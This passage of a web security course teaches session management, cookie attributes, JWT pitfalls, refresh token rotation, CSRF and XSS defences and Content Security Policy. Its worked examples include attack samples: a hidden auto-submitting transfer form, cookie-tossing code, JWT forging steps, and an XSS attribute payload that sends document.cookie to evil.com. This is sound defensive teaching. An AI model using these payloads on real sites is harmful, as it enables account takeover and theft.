Rotation issues a new token for the same logical session and invalidates the old one. It must happen at authentication, and this is not optional. If the server hands out a session identifier to an anonymous visitor and keeps the same identifier after they sign in, an attacker who planted a known identifier in the victim's browser beforehand now holds an authenticated session. That is session fixation, and rotating the token at the moment privilege changes is the entire fix. Rotate again on a password change, on adding or removing a second factor, and on any step up to a more sensitive area.

Revocation is deleting rows, and it comes in two shapes that both need to exist. Signing out deletes the current row. "Sign out everywhere" deletes every row for that user, and it is what a person reaches for when they suspect compromise, so it must be reachable in the interface and must be triggered automatically on a password change. A password reset that leaves the attacker's session alive has accomplished nothing.

Example. A shop gives every anonymous visitor a session so it can hold a basket, and keeps the same identifier when they sign in. Walk through the attack this enables.

The attacker visits the shop, is issued session abc, and does not sign in. They then get the victim's browser to adopt abc, through a link carrying it if the application accepts a session identifier in the URL, or by setting the cookie from a subdomain they control. The victim, now holding abc, signs in normally. Because the identifier is unchanged, the server attaches the victim's user ID to session abc, which the attacker has known all along and can simply present. The victim did nothing wrong and the attacker never guessed anything. Rotating at login closes it: the moment the password is verified, the server issues a new token and deletes the old row, so abc names nothing.

Now you. A session has a 30-minute idle expiry and no absolute expiry. An attacker steals a live token. How long do they keep the account, and what is the smallest change that bounds it?

Answer

Indefinitely. Idle expiry is refreshed by activity, so a script making one request every twenty minutes keeps the session alive forever, and the victim sees nothing because their own session is a separate row. The smallest change that bounds it is an absolute expiry, twelve hours say, checked against created_at rather than last_seen_at, which caps the theft at the remaining life of that session regardless of use. Worth adding alongside: showing the user their active sessions, so a device they do not recognise is visible, and ending every session on a password change.

Because the sessions table holds user_agent, ip and last_seen_at, all of this can be shown to the user as a list of active devices, and that list is a genuinely useful security feature rather than decoration: it is how a person discovers a session they do not recognise.

The token has to travel, and the cookie is the transport. Six attributes decide whether it is safe, and there is exactly one correct combination for a session cookie.

Set-Cookie: __Host-session=Kj8f...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=43200

HttpOnly hides the cookie from document.cookie, so script injected into your page cannot read it. This is the single most valuable attribute, because it is the line between an XSS bug that defaces a page and one that hands over every visitor's account.

Secure stops the cookie being sent over plain HTTP, which matters even on an HTTPS-only site: an attacker on the network can force a request to http://yoursite.com and, without this flag, watch the cookie go past in the clear.

SameSite controls whether the cookie is attached to requests originating from other sites, and it is the main defence against CSRF, which the fifth lesson covers properly. Strict sends the cookie only for requests originating from your own site, which means a user following a link from an email arrives signed out. Lax sends it on top-level navigations that use a safe method, so following a link works while a cross-site form POST does not, and it has been the browser default since Chrome 80 in February 2020. None sends it always and requires Secure. Lax for a session cookie, and know that the default exists so that omitting the attribute is not the disaster it once was.

Path limits which paths receive the cookie. It is not a security boundary, since any page on the origin can read another path's cookies through script, but Path=/ is what a session wants anyway.

Domain is the dangerous one, and the next section is about it.

Max-Age or Expires sets when the browser discards it. Omit both and it is a session cookie in the browser's sense, discarded when the browser closes, which sounds tidy and is unreliable because browsers restore sessions on restart. Set it explicitly to match your absolute expiry, and remember that this is a hint to the browser and not a control: the server's own expiry check is the one that counts.

Example. What is wrong with this header, and what should it be?

Set-Cookie: session=Kj8f2p...; Domain=.example.com; Path=/; Max-Age=31536000

Four faults. No HttpOnly, so any injected script reads the session token and the account is gone. No Secure, so a forced plain-HTTP request leaks it on the network. No SameSite, which modern browsers treat as Lax but older ones do not, so the behaviour depends on the visitor's browser. And Domain=.example.com sends the token to every subdomain, including blog.example.com and anything a contractor runs. The Max-Age of a year with no absolute expiry on the server is a fifth. It should read Set-Cookie: __Host-session=Kj8f2p...; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=43200.

Now you. A team sets SameSite=Strict on their session cookie and users complain that clicking a link in the confirmation email lands them on a signed-out page, even though they are signed in. Explain, and give a fix that keeps the protection.

Answer

Strict withholds the cookie on every cross-site request including a plain top-level navigation, so arriving from a mail client the first request carries no cookie and the server renders the signed-out page. Reloading works, because that request is now same-site. The usual fix is SameSite=Lax, which sends the cookie on top-level safe-method navigations and still withholds it from cross-site form posts and subresource requests. If you want Strict for the main session, the pattern is two cookies: a Strict one carrying the session and a Lax one carrying nothing but a marker, so a request with the marker and no session triggers a same-site redirect that then arrives with both.

Subdomains, and the __Host- prefix

Cookies do not obey the same-origin policy. They were designed before it, and their scope is the domain, which creates a hole that catches teams repeatedly.

A cookie set with Domain=example.com is sent to example.com and every subdomain. Worse in the other direction, a page on blog.example.com can set a cookie for Domain=example.com, and that cookie is then sent to your application. So a marketing blog on a shared subdomain, a status page from a third party, a stale test.example.com pointing at an abandoned server: any of these can both read your session cookie, if you scoped it to the parent domain, and write cookies your application will receive. The second is cookie tossing, and it lets a subdomain overwrite a CSRF token or a session with one the attacker chose.

The __Host- prefix closes this. A cookie whose name begins __Host- is accepted by the browser only if it carries Secure, has Path=/, and has no Domain attribute, which pins it to exactly the host that set it. No subdomain can read it and no subdomain can overwrite it, and because the rule is enforced by the browser at the point of setting, a misconfiguration fails visibly rather than silently widening the scope.

There is a related prefix, __Secure-, which only requires the Secure flag and is much weaker. Use __Host- for the session cookie unless you genuinely need it shared across subdomains, in which case understand that you have accepted every subdomain as part of your trusted computing base.

Why not localStorage

The advice to store a token in localStorage and send it in an Authorization header appears constantly, usually justified by "cookies are vulnerable to CSRF". It is a bad trade, and the reason is worth spelling out because the argument sounds reasonable.

It is true that a value in localStorage is not sent automatically, so it is not spendable by a cross-site request. But localStorage is readable by any JavaScript running on the origin, by construction, and there is no attribute you can set to change that. HttpOnly has no equivalent. So you have traded a risk with a specific, well-understood, cheap defence for one with no defence at all.

Line the two up. Under CSRF with a cookie, the attacker causes a request to be sent with the victim's credentials but cannot read the response, is limited to the shapes a cross-site request can take, and is stopped by SameSite=Lax plus an origin check. Under XSS with localStorage, the attacker reads the token, exfiltrates it, and uses it from their own machine at leisure, with no origin restriction, no expiry they cannot outlast, and nothing in your logs to distinguish them.

Between an attack that requires the victim to be tricked into visiting a page and is blocked by a header, and one that hands over the credential permanently with no defence, the cookie is not close. Use HttpOnly cookies for browser sessions. The Authorization header belongs to clients that are not browsers, where there is no ambient credential and no cross-site request problem to have.

What this buys, and what it costs

The design in this lesson has one clear virtue: the server decides. Every request consults state the server owns, so a session can be ended, downgraded, listed or audited at the moment somebody asks, and none of it depends on the browser cooperating.

The cost is that the server must hold that state, which means a store every application server can reach, which means Redis or a database table and a story about what happens when it is unavailable. For most applications that store already exists and the objection is theoretical. For a system spread across regions, or built from services that would rather not share a session store, the lookup starts to look like a real constraint.

That constraint is what motivates the alternative: put the state in the token itself, sign it so it cannot be forged, and let any server verify it with no lookup at all. It is a genuine engineering trade with a genuine cost, and the cost is precisely the property this lesson called instant. The next lesson is about what you give up.

Tokens, and when a JWT is the wrong answer

A signed token carries its own contents, so any server holding the key can verify it without asking a database anything.

The previous lesson built a session as a meaningless identifier naming a row on the server, and noted that the lookup is the price of instant revocation. This lesson is about the trade that removes the lookup. If you have arrived here directly, the two ideas you need are that a MAC is a keyed hash proving that a holder of the key produced a message, and that a bearer token is one whoever holds it can spend.

Inverting the indirection

The session design points from the browser to the server: the browser holds a name, the server holds the facts. Invert it and the browser holds the facts, with a signature proving the server wrote them.

const claims = { sub: "4192", role: "editor", exp: 1772621264 };
const token = claims + "." + hmac(key, claims);   // schematically

Any server with the key can now check the signature and read sub and role straight out of the token. No store, no lookup, no shared database between regions. That is a real and substantial benefit, and it is why the pattern exists.

Everything else in this lesson follows from one observation: the server no longer has any say. It signed the token once and let go. There is nowhere to write "this one is finished", because the only record of the session is in the attacker's hands.

What a JWT actually is

A JSON Web Token, as defined in RFC 7519, is three base64url segments joined by dots. Take a real one apart.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MTkyIiwi...ifQ.dBjftJeZ4CVP...

The first segment is the header, and eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 decodes to {"alg":"HS256","typ":"JWT"}. The second is the payload, a JSON object of claims. The third is the signature over the first two segments joined by a dot.

Decoding takes one line, and the point cannot be overstated:

const payload = JSON.parse(atob(token.split(".")[1].replace(/-/g, "+").replace(/_/g, "/")));

A JWT with a signature is signed, not encrypted. Every claim in it is public to anyone holding the token, which includes the user and anyone who steals it. Encrypted tokens exist under a different standard, JWE, and are rare in practice. Put nothing in a JWT you would not print on the page.

The registered claims are worth knowing by name because verification means checking them, not merely checking the signature. iss names the issuer, sub the subject, aud the intended audience, exp the expiry, nbf the not-before time, iat the issued-at time, and jti a unique identifier for the token. A verifier that checks the signature and ignores aud will accept a valid token minted for a different service. A verifier that ignores exp accepts a token from last year. The signature says "we wrote this"; the claims say "and we meant it for you, now".

Size is worth a moment too. A modest payload with issuer, audience, subject, timestamps, an email and two roles comes to 242 base64url characters, and the whole HS256 token to 323 bytes, against 43 for a session token of 32 random bytes. That is 7.5 times larger on every request, and a page issuing a hundred requests carries an extra 28 kB of header traffic. With RS256 the signature alone is 342 characters. This is not usually decisive, but "stateless is free" is not true either.

Example. A team stores {"sub":"4192","plan":"free","internalNotes":"flagged for review"} in a JWT and sets it as an HttpOnly cookie, reasoning that HttpOnly keeps the contents away from the user. What is wrong?

HttpOnly stops page JavaScript reading the cookie. It does nothing about the user, who can open developer tools, copy the cookie value out of the network panel, and paste it into any of a hundred JWT decoders. The internalNotes claim is public. So is plan, which is fine, and so would be anything else put there. HttpOnly is a defence against injected script, not a confidentiality boundary against the token's own holder.

Now you. A service verifies incoming JWTs by checking the HMAC signature with the correct shared key, and nothing else. Two internal services, a billing API and an admin API, share that key. What can a user of the billing API do?

Answer

Take the token the billing API issued them and present it to the admin API, which will verify the signature successfully because the key is the same. The aud claim exists precisely to stop this, and the admin API is not checking it. Two fixes, both worth doing: give each service its own key or key pair so a signature from the wrong issuer fails outright, and check aud against the service's own identifier on every verification. The general rule is that a signature check is necessary and never sufficient.

Two ways the verification is skipped entirely

JWT has produced a family of vulnerabilities that share a shape: the token tells the verifier how to verify it, and the verifier believes it.

alg: none. The standard defines a "none" algorithm for tokens whose integrity is protected some other way. An attacker takes a valid token, edits the payload to {"sub":"1","role":"admin"}, sets the header to {"alg":"none"}, drops the signature, and leaves a trailing dot. A library that reads alg from the header and dispatches on it will take the "none" branch, find nothing to verify, and return the claims as valid. This was widespread in 2015, most libraries now refuse none by default, and it still appears in code that calls a generic decode function and treats the result as verified.

Algorithm confusion. A service issues RS256 tokens signed with its private key, and verifiers check them with the public key, which is public. The attacker changes the header to {"alg":"HS256"}, signs the token with the public key bytes used as an HMAC secret, and submits it. A verifier that reads alg from the header and passes both the token and "the key" to a generic function may hand the RSA public key to the HMAC path, compute the same MAC the attacker did, and accept it. The attacker forged a token using only public information.

Both have the same root cause and the same fix: the verifier decides the algorithm, not the token. Pin it in the code.

const parts = token.split(".");
const header = JSON.parse(atob(parts[0]));
if (header.alg !== "HS256") throw new Error("unexpected alg");

Reading alg at all is only to reject it. The key you verify with was chosen before the token arrived.

Two smaller traps belong here. kid, the key identifier, is attacker-controlled, and implementations that use it to build a file path or a SQL query have been exploited through path traversal and injection; treat it as an untrusted lookup key into a fixed set. And exp is seconds since the epoch, not milliseconds, so a verifier comparing it against Date.now() accepts tokens for the next fifty thousand years.

Revocation, and why short expiry does not fix it

Here is the cost. A user's laptop is stolen, or an administrator revokes access, or a session is discovered to be an attacker's. With server-side sessions you delete a row and it is over. With a signed token there is no row. The token is valid because the mathematics says so, and it will stay valid until exp.

The standard answer is a short expiry: fifteen minutes, so the damage window is bounded. Look at what that actually says. Revocation now takes up to fifteen minutes and averages 7.5, during which the attacker uses the account freely. If you can tolerate that, fine, and be clear that it is what you have chosen. If the account can move money or delete data, a mean of seven and a half minutes of attacker access after you pressed the button is not an acceptable answer.

The other answer is a denylist: record revoked jti values and check every token against the list. This works, and it is worth being blunt about what it means. You have reintroduced the lookup on every request, so the statelessness is gone, and you now maintain both a signing key and a store. The one thing you keep is that the store holds only revoked tokens rather than all live ones, which is a smaller table but the same architecture. A denylist plus short expiry is a defensible design; a denylist plus a claim of statelessness is not.

There is a subtler version of the same problem that catches more teams than theft does. Claims go stale. If the token carries role: "editor" and an administrator demotes that user, every server keeps reading editor from the token until it expires. Permission changes, plan downgrades, disabled accounts and team removals all inherit the revocation delay. A session that reads the user row on each request has no such window, and this is the everyday cost rather than the dramatic one.

Example. A team uses 15-minute access tokens with a jti denylist checked on every request, and describes the design as stateless. Where has the state gone, and what have they actually gained over sessions?

The state is the denylist, consulted on every request exactly as a session table would be, so the architecture is identical: a store, a lookup, an availability dependency. What they gained is that the store holds only revoked tokens, so it is smaller and can be an in-memory set with a fifteen-minute time-to-live rather than a durable table. What they lost is that claims inside the token can be stale even when the token is not revoked, so a demotion still takes up to fifteen minutes. For a single application this is a worse session table. For a fleet of services that each need to verify without reaching a shared database, the trade may be worth it.

Now you. A JWT carries role and the application checks it on each request. An administrator removes a user's admin role at 10:00. The token was issued at 09:52 with a one-hour expiry. Until when does that user remain an administrator, and what change fixes it?

Answer

Until 10:52, when the token expires: the demotion is written to the database and no server ever reads it, because the role comes from the token. Revoking by jti fixes it only if the demotion path knows to revoke, which it usually does not. The reliable fix is to stop carrying authorization data in the token. Let the token say who the user is and read what they may do from the database on each request, which is the last lesson's argument, and costs exactly the lookup that the token was meant to avoid.

Refresh tokens and the rotation dance

Short access token lifetimes create a new problem: the user must not be signed out every fifteen minutes. The standard structure is two tokens. A short-lived access token is sent with each request and is not stored durably. A long-lived refresh token is stored, sent only to one endpoint, and exchanged for a new access token when the old one expires.

Notice what has happened. The refresh token is long-lived, so it must be revocable, so it is stored server side and looked up. It is a session, wearing different clothes. That is not a criticism, it is the point: the stateless part is pushed to the short-lived token where its cost is bounded, and the durable part keeps the property that only a stored credential can have.

Because the refresh token is the valuable one, it gets its own defence, rotation with reuse detection. Each refresh returns a new refresh token and invalidates the old one, and the old one is remembered rather than forgotten. If a token that has already been used is presented again, that is evidence of theft: either the attacker or the legitimate client is using a copy. Since the server cannot tell which, it revokes the whole token family and forces a fresh login. This is the mechanism recommended in the OAuth security best current practice, RFC 9700, and it converts silent long-term theft into a detectable event with a bounded window.

The failure mode to design around is a legitimate client racing itself: two tabs refresh at once, the second presents a token the first just consumed, and the family is revoked for no reason. A short grace period, a few seconds during which the immediately previous token is accepted and returns the same new pair, handles this without weakening the detection meaningfully.

Example. An attacker steals a refresh token at 12:00. The legitimate user next refreshes at 12:20. Walk through what rotation with reuse detection produces, and what the attacker got.

Suppose the attacker refreshes first, at 12:05: they receive a new access and refresh pair, and the stolen token is now marked used. At 12:20 the legitimate client presents the same stolen-and-now-used token, the server sees reuse, revokes the entire family, and the user is asked to sign in again. The attacker held access for fifteen minutes and their refresh token dies too. Had the user refreshed first, the attacker's later attempt would trigger the same revocation and they would get nothing. Either way, theft becomes a detectable event with a bounded window instead of indefinite silent access. What it does not do is prevent the fifteen minutes.

Now you. Why is it a mistake to store a refresh token in localStorage even though the access token is short-lived?

Answer

The refresh token is the durable credential, so putting it where any script on the origin can read it means one XSS bug yields long-term access rather than fifteen minutes of it. Rotation helps a little, because the attacker's use will eventually collide with the user's and trigger revocation, but an attacker who refreshes constantly keeps a live family and may simply outrun the user. A refresh token belongs in an HttpOnly cookie scoped with Path to the refresh endpoint alone, which is the same conclusion the sessions lesson reached, for the same reason.

Where stateless tokens genuinely win

The criticism above is aimed at one specific use, browser login for a single application, where a session cookie is simpler and strictly better. There are cases that pull the other way, and they share a shape: many verifiers, no shared store, short lifetimes tolerable.

Service to service. An internal service receiving a request from another service needs to know the caller and its scopes. There is no browser, no CSRF, no user to sign out, and a token verified against a public key with no network round trip is exactly right.

A fleet of APIs behind one identity provider. Half a dozen services in different regions each verifying a token against a published key set avoid a shared session database and its latency. The revocation delay is a known cost, priced in.

Edge and serverless verification. A CDN worker deciding whether to serve a cached response cannot reach your database in a useful time. Signature verification takes microseconds.

As the output of OAuth. The ID token in OpenID Connect is a JWT because it must be verifiable by a party that cannot query the issuer's database. That is exactly the problem JWTs solve, and the ninth lesson uses one.

The pattern common to all four is that the token crosses a trust boundary between systems. Within one application, talking to one browser, the boundary is not there and the token is solving a problem you do not have.

So the honest summary: for browser login on an ordinary web application, use a session cookie. Reach for a signed token when verification must happen somewhere that cannot reach your store, and when you have written down what your revocation delay is and decided you can live with it.

What the browser does with either

Session cookie or JWT in a cookie, the situation is now the same in one important respect. A bearer secret lives in the user's browser, and it is attached to requests. Everything that follows depends on two facts about browsers that have nothing to do with which token format you chose.

The first is that a browser sends cookies for your site on requests your site did not initiate, which lets an attacker's page cause an authenticated action. The second is that a browser executes any script it believes came from your origin, which lets an attacker who can inject script act as the user directly, whatever attributes your cookie carries.

Those are cross-site request forgery and cross-site scripting, they are the two attacks that actually take sessions in practice, and they are next.

Defending against CSRF and XSS

Two attacks take a session out of a browser, and they work in opposite directions.

The last two lessons put a bearer secret in the browser. This lesson is about the two ways it gets used against you. If you have arrived here directly, the setting is that a cookie holds a session token, the token is marked HttpOnly and Secure, and the server treats any request carrying a valid one as coming from that user.

The same-origin policy, and the hole in it

An origin is the triple of scheme, host and port. https://example.com and https://example.com:8443 are different origins, and so are https://example.com and https://sub.example.com. The same-origin policy is the browser's rule that script from one origin cannot read data from another.

Read is the operative word. The policy governs reading responses, not sending requests, and the whole of CSRF lives in that gap. A page on evil.com can cause your browser to send a request to bank.com and cannot see what comes back, which for a great many actions costs the attacker nothing, because the action itself was the goal.

Cookies make the gap exploitable. The browser attaches a cookie according to the destination, not according to who initiated the request, so a form posted from evil.com to bank.com/transfer arrives with the user's bank.com session cookie and is indistinguishable, at the server, from the user clicking a real button. That property is called an ambient credential, and it is what makes cookies convenient and what makes them forgeable.

CORS is frequently misunderstood here. Cross-origin resource sharing protects nothing; it is a mechanism for relaxing the same-origin policy so a server can opt into letting another origin read its responses. A permissive CORS policy does not create CSRF and a restrictive one does not prevent it, because CSRF never needed the response.

How a cross-site request forges intent

The classic attack is a form the victim never sees, on a page they were tricked into loading.

<form action="https://bank.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker">
  <input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById("f").submit()</script>

The victim loads a page on evil.com, the form posts itself, the browser attaches the bank.com cookie, and the transfer happens. The victim sees a blank page or an error, by which time it is done.

What limits the attack is which requests a page may make cross-origin without the browser asking permission first. Requests that need no CORS preflight are the ones a plain HTML form or an image tag could always have made: the method is GET, HEAD or POST, and if POST the Content-Type is one of application/x-www-form-urlencoded, multipart/form-data or text/plain. Anything else, including application/json or a custom header, triggers a preflight OPTIONS request that your server will not approve, so the real request is never sent.

That gives an accidental and much-abused defence. An API that accepts only application/json is hard to attack with a form, because a form cannot set that content type. Do not rely on it as your defence, because it fails the moment someone adds a convenience path that accepts form encoding, or a text/plain body that happens to parse as JSON. It is a useful property to have, not a control to depend on.

Example. Which of these cross-site requests from evil.com reach a bank.com handler with the session cookie attached, and which do not?

An <img src="https://bank.com/logout"> tag: yes. A GET is a simple request, the cookie goes, and if logout is a GET the attacker just signed the user out. A form posting application/x-www-form-urlencoded: yes, as above. A fetch with method: "POST" and Content-Type: application/json: no. That content type is not on the simple list, so the browser sends a preflight OPTIONS first, and unless the server explicitly permits evil.com and that header, the real request never leaves. A fetch with method: "DELETE": no, for the same reason, since only GET, HEAD and POST avoid a preflight.

Now you. An attacker writes fetch("https://bank.com/transfer", { method: "POST", body: "{\"to\":\"attacker\"}", headers: { "Content-Type": "text/plain" }, credentials: "include" }). Does the request arrive, and does that mean the site is vulnerable?

Answer

It arrives. text/plain is on the simple list, so there is no preflight, and credentials: "include" attaches the cookie. Whether the site is vulnerable depends on the server: if the handler parses the body as JSON regardless of the declared content type, which many frameworks do by default, the transfer succeeds and the site is vulnerable despite "we only accept JSON". If the handler rejects anything whose Content-Type is not exactly application/json, the request fails. The attacker cannot read the response either way, but for a transfer they do not need to.

SameSite, and the three gaps in it

SameSite tells the browser not to attach a cookie to requests coming from other sites, which attacks the problem at its root.

SameSite=Strict withholds the cookie on every cross-site request, including a plain link. SameSite=Lax withholds it except on top-level navigations using a safe method, so a link from an email works and a cross-site form post does not. SameSite=None restores the old behaviour and requires Secure.

Chrome made Lax the default for cookies with no SameSite attribute in version 80, released in February 2020, and other browsers have moved unevenly since. Set the attribute explicitly rather than relying on a default that varies with the visitor's browser.

Lax is a large improvement and it is not sufficient on its own, for three reasons worth knowing precisely.

Safe methods are still sent. Lax permits top-level navigation with GET. If any state-changing action in your application is reachable by GET, and GET /logout or GET /posts/12/delete are common, an attacker's link or redirect performs it. This is a reason to keep GET free of side effects that has nothing to do with REST aesthetics.

"Same site" is looser than "same origin". The boundary is the registrable domain, so blog.example.com and app.example.com are the same site, and a request from one to the other is not cross-site at all. Every subdomain you do not fully control is inside your SameSite perimeter.

There is a grace window on new cookies. Chrome's compatibility behaviour for cookies with no explicit SameSite allows them on top-level cross-site POSTs for the first two minutes after they are set, to avoid breaking single-sign-on flows that were built before the default changed. A freshly minted session is briefly exposed to exactly the attack the default was meant to stop. Setting SameSite=Lax explicitly avoids this behaviour, which is another reason not to lean on defaults.

So SameSite=Lax is the first layer and not the only one. For anything that moves money or changes credentials, add a second check.

Second layers: origin checks and tokens

The cheapest second layer reads headers the browser sets and the page cannot forge.

The Origin header carries the origin that initiated the request, and browsers send it on all cross-origin requests and on every POST, including same-origin ones. Script cannot set it. So:

function sameOrigin(request) {
  const origin = request.headers.get("origin");
  if (origin) return origin === "https://bank.com";
  // No Origin header: only plausible for same-origin navigations in older clients.
  const referer = request.headers.get("referer");
  return Boolean(referer) && new URL(referer).origin === "https://bank.com";
}

The order matters. Prefer Origin, fall back to Referer, and decide deliberately what to do when both are absent. Rejecting is the safe default for a state-changing endpoint; accepting because "some old proxy strips them" is how the check gets quietly disabled.

Newer and cleaner are the Fetch metadata headers, which browsers attach automatically and script cannot forge. Sec-Fetch-Site takes the values same-origin, same-site, cross-site or none, and Sec-Fetch-Mode says navigate, cors and so on. A resource-isolation policy at the edge of the application, rejecting anything with Sec-Fetch-Site: cross-site unless the mode is a top-level navigation with a safe method, blocks CSRF for every endpoint at once. Browsers that do not send the headers fall through to the older checks.

Origin checking covers most applications. A token is still the right answer in two situations: when requests may legitimately arrive from another origin you control, and when you cannot be confident every state-changing endpoint sits behind the check.

The synchronizer token pattern is the classic. The server generates a random value per session, stores it, and embeds it in every form. A submission without a matching token is rejected. It works because the attacker cannot read the token: reading it means reading a response from your origin, which is exactly what the same-origin policy prevents.

Double submit avoids storing anything. The server sets the token in a cookie and the page copies it into a form field, and the server checks the two match. The naive version is broken, and understanding why is worth more than the pattern itself. An attacker who controls any subdomain can set a cookie for the parent domain, so they choose a token value, plant it as a cookie in the victim's browser, and submit a form carrying the same value. Both halves match and the check passes. That is cookie tossing again, from the sessions lesson.

The repair is to bind the token to the session so that a value the attacker chose cannot be valid. Signed double submit puts HMAC(key, sessionId + "." + random) in the cookie along with the random part, and the server recomputes the MAC from the session it actually resolved. An attacker cannot produce a valid MAC for the victim's session, and a tossed cookie fails.

async function issueCsrf(sessionId, key) {
  const nonce = new Uint8Array(16);
  crypto.getRandomValues(nonce);
  const message = sessionId + "." + nonce.toBase64({ alphabet: "base64url" });
  const mac = await hmacBase64(key, message);
  return message + "." + mac;
}

Three details decide whether any of this works. Verify on every state-changing request rather than on the ones you remembered. Compare in constant time, using the loop from the first lesson. And issue a fresh token when the session rotates at login, or the token from the pre-login session will be checked against a session that no longer exists.

Example. A team ships SameSite=Lax and considers CSRF handled. Their application has an endpoint GET /account/delete?confirm=yes, reached from a confirmation page. Is it safe?

No. Lax permits top-level navigation with a safe method, and a GET is a safe method as far as the browser is concerned, whatever the handler does. An attacker sends the victim a link, or embeds a redirect, or uses <img src="https://app.example.com/account/delete?confirm=yes">, and the cookie is attached. The fix is not a CSRF token on the confirmation page: it is to make the deletion a POST or DELETE, at which point Lax withholds the cookie and the origin check applies. Any action with a side effect behind a GET is outside every CSRF defence you have.

Now you. A site uses naive double submit: a random csrf cookie with Domain=example.com, copied into a form field. An attacker has cross-site scripting on status.example.com, a static status page with no login. Can they perform CSRF against app.example.com?

Answer

Yes. From status.example.com they set document.cookie = "csrf=chosen; Domain=example.com; Path=/", which the browser accepts because the two share a registrable domain. The victim's browser now sends csrf=chosen to app.example.com, and the attacker's cross-site form carries csrf=chosen in the field. The two match and the check passes. The session cookie was never read, so HttpOnly did not help. Signed double submit fixes it, because the attacker cannot compute a MAC over the victim's session identifier, and the __Host- prefix on the CSRF cookie stops the tossing outright.

Cross-site scripting, and the three kinds

CSRF makes the browser send a request. XSS makes the browser run the attacker's code, inside your origin, with all the authority that implies. There is no attribute that limits what code on your origin may do, which is why XSS is the more serious of the two by a wide margin.

Reflected XSS puts attacker input into the response for the request that carried it. A search page echoing You searched for: <query> unescaped turns ?q=<script>...</script> into script on your page. Delivery needs a link, so it is one victim at a time.

Stored XSS puts it in the database and serves it to everybody. A comment, a display name, a support ticket that an administrator later opens. This is the worst case, and the version that takes over administrator accounts.

DOM-based XSS never involves the server's HTML at all. The page reads something attacker-controlled, typically location.hash or a query parameter, and writes it into the document in a way that executes.

// The bug: assigning attacker-controlled text into markup.
element.innerHTML = "Welcome back, " + new URLSearchParams(location.search).get("name");

Server-side escaping cannot help, because the server never saw the value. The fix is to stop building markup from strings: element.textContent = name inserts text as text, and any framework that renders values rather than markup does the same thing by construction.

Once script runs on your origin it can read the DOM, submit forms as the user, call your API with the ambient cookie, install a listener that captures the password on the next login, and do all of it without ever seeing the session token. HttpOnly matters enormously and is not a cure: it stops the token being exfiltrated and reused later from another machine, which downgrades permanent account theft to abuse for as long as the victim has the page open. That is a real and large difference, and it is a downgrade rather than a fix.

Escape at output, in the right context

The instinct is to clean input on the way in. It is the wrong layer, for a reason that generalises beyond this lesson: at input time you do not yet know where the value will be used, and the correct transformation depends entirely on where.

The same string needs five different treatments. In HTML text, < and & must become entities. In an attribute value, quotes must be escaped and the value quoted, or onmouseover=alert(1) slips out of the attribute. In a URL context, javascript: must be rejected outright, since no escaping makes it safe as an href. Inside a <script> block, HTML escaping is actively wrong and JavaScript string escaping is what is needed. In CSS, yet another set.

Escaping on input picks one of those five before you can know which is needed, mangles data that was never dangerous, and leaves the other four exposed. It also destroys the original: a user genuinely called O'Brien <the second> has a corrupted name in your database forever, and the double-escaping bugs that follow are a permanent tax.

So store what the user typed, unmodified, and escape when rendering, according to the context you are rendering into. Any template engine that escapes by default does this correctly, and the danger is the escape hatch each of them offers for inserting raw markup. If a feature genuinely needs user-supplied HTML, a rich text editor being the honest case, that is the one place for sanitisation, and it belongs in a library with a strict allowlist, run at render time rather than at storage time.

Example. A profile page renders <img src="/avatars/{{ user.avatar }}" alt="{{ user.name }}"> with a template engine that escapes HTML text but the developer has marked both values as raw. What can an attacker set as their name, and does escaping < and > fix it?

They set their name to " onerror="fetch('https://evil.com/?c='+document.cookie) and their avatar to something that fails to load. The injected text closes the alt attribute and starts a new one, and no angle bracket is needed anywhere. Escaping only < and > does not fix it, because the break-out used a double quote. Attribute context needs quotes escaped as well, and the attribute must be quoted in the template to begin with, since an unquoted attribute can be escaped with a space alone.

Now you. A page renders a value into a script block as <script>const user = "{{ name }}";</script>, with HTML escaping applied. Is that safe?

Answer

No. HTML escaping is the wrong context. A name of ";alert(1);// is not touched by HTML escaping, since it contains no <, > or &, and it closes the JavaScript string and appends a statement. Even correct JavaScript string escaping is not enough on its own, because the sequence </script> inside a string terminates the block at the HTML parser level before JavaScript ever sees it. The reliable pattern is to serialise the value as JSON with <, > and & escaped as unicode sequences, or better, to put the data in a data- attribute or a <script type="application/json"> block and read it with JSON.parse rather than generating code.

Content Security Policy, and defence in depth

Correct escaping everywhere is the fix. A Content Security Policy is what limits the damage on the day one place is missed, and on a large codebase one place is always missed.

The useful modern form is nonce-based, not an allowlist of hosts. Allowlists have been repeatedly bypassed, because a permitted CDN usually also hosts an old library with a JSONP endpoint or an Angular version that evaluates expressions, and either turns the allowlist into permission to run anything.

Content-Security-Policy:
  script-src 'nonce-r4nd0m' 'strict-dynamic';
  object-src 'none';
  base-uri 'none'

The server generates a fresh nonce per response, at least 128 bits from crypto.getRandomValues, and puts it on each legitimate <script> tag. Injected script carries no nonce and does not run. 'strict-dynamic' lets a nonced script load further scripts it trusts, which is what makes the policy usable with real bundlers. object-src 'none' removes plugin content, and base-uri 'none' stops an injected <base> tag redirecting every relative script URL to the attacker's server, which is a bypass people forget.

The nonce must be per response and unpredictable. A constant nonce in a static template is the same as no policy, because the attacker reads it from the page and puts it on their own tag.

Two honest limits. A CSP does not stop DOM-based XSS that executes through a sink already permitted, so innerHTML with a nonced script tag in it can still run under 'strict-dynamic'; Trusted Types is the mechanism aimed at that, by making the dangerous DOM sinks refuse plain strings. And a CSP is worthless if the injection point can emit a nonced script, which is why it is defence in depth and not a substitute for escaping.

Deploy with Content-Security-Policy-Report-Only and a reporting endpoint first, because a real policy on a real site will break something, and finding out from reports beats finding out from users.

What still gets in

Suppose all of it is in place: HttpOnly, Secure, SameSite=Lax, origin checks, signed CSRF tokens, contextual escaping, a nonce-based CSP. The session in the browser is now genuinely hard to steal or spend.

None of it touches how the session was created. An attacker who can trigger a password reset for an address they control, or who can guess that a verification link was issued and walk the token space, or who can register the same email twice, does not need to steal a session at all. They can get a legitimate one issued to them.

Those flows, sign-up, verification, reset and change of email, mint credentials by email and are where the real breaches happen. They are next.

The account lifecycle

A password reset link is a password: anyone holding it can take the account, and it arrives by email.

The previous lessons hardened the session in the browser. This lesson is about the flows that create sessions in the first place, which is where an attacker goes when stealing one becomes hard. If you have arrived here directly, the carried-over ideas are that a bearer token needs 128 bits of entropy and that a stored secret should be stored as a hash of itself.

Every one of these flows mints a credential

